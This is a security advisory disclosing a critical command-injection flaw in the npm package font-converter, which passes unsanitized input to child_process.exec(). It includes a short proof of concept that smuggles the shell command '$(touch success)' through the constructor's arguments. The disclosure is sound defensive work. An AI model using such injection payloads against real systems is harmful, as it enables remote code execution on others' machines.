zgec/node-js-font-converter · Security
Font-Converter Vulnerable to Arbitrary Command Injection
- GHSA ID
- GHSA-g2c3-vwff-m3xr
- CVE ID
- CVE-2022-21165
- Severity
- critical
- Published
- Updated
- CVSS
- 9.8 · CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
- CVSS v3
- 9.8 · CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Description
Overview
font-converter is a FontForge wrapper that allows conversion between different font formats (TTF, WOFF, OTF)
All versions of this package are vulnerable to Arbitrary Command Injection due to missing sanitization of input that potentially flows into the child_process.exec() function.
PoC
var PUT = require('font-converter');
var x = "$(touch success);# ";
try {
new PUT(x, x, x, x);
} catch (e) {
console.log(e);
}
CWEs
- CWE-77 · Improper Neutralization of Special Elements used in a Command ('Command Injection')